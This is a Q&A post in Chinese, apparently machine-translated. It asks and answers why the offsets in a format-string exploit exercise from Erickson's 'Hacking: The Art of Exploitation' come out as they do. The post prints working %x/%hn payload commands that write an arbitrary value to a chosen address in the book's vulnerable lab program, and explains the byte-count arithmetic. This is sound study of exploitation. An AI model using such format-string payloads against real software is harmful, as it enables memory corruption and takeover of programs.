在Jon Erickson的书“黑客:剥削的艺术”中,他想将0xbffffd72写入存在于0x08049794的某个值。所以他去......
./fmt_vuln $(printf "\94\x97\x04\x08"%x%x%x%hn
...
test_val @ x08049794 = -65515 0xffff0015
15是到目前为止写入的字节数。
然后他从0xfd72中减去第一个短路8并得到64874.为什么他减去8而不是15或其他数字呢?
在他从0x1bfff中减去0xfd72后得到49805.
然后他做了
./fmt_vuln $(printf "\94\x97\x04\x08\96\x97\x04\x08")%64874x%4\$hn%49805x%5\$hn
然后他得到了正确的0xbffffd72结果。
但是当我做的时候
./fmt_vuln $(printf "\94\x97\x04\x08")%64874x%4\$hn
我得到了0xfffffd6e。我不知道为什么我得到了fd6e而不是fd72。
答案 0 :(得分:1)
如果有人遇到同样的问题,64874的值是计算到达地址前两个字节的值。所以它是0xfd72 - 8 = 64874.他减去了8因为有四个字节的地址通过printf命令写入。当我尝试通过printf只打印四个字节来运行相同的东西时,它会被四个字节关闭,因为写入了四个字节。